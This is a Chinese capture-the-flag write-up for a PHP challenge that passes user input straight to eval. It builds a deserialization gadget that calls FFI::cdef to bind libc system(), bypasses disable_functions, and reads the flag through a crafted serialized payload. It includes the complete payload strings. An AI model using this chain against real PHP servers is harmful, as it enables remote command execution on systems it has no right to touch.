今天做了一道RCE+反序列化的题目,看看吧。
进入题目就给出了源码
点击查看代码
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
发现了当前目录的一些文件(1.txt是我弄上去的,不用管它),尝试读取preload.php文件。
?a=show_source(end(scandir('.')));
点击查看代码
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
点击查看代码
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is regular C declaration
"libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
点击查看代码
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];
//可以进行函数执行
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A();
echo serialize($a);
无回显,那就试试输出到其他文件(其实nc也可以,主要是服务器太贵了)。
点击查看代码
payload:?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('cat /flag|1.txt');
直接访问1.txt得到flag
知识点总结:
-
无参数rce
-
phpFFI利用绕过disable_functions 限制版本(PHP 7 >= 7.4.0, PHP 8)(本题是7.4)
-
如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。
-
FFI API只能在CLI脚本和预加载的PHP文件中使用。默认ffi.enable=preload ** 且仅在命令行模式和 **preload 文件中可用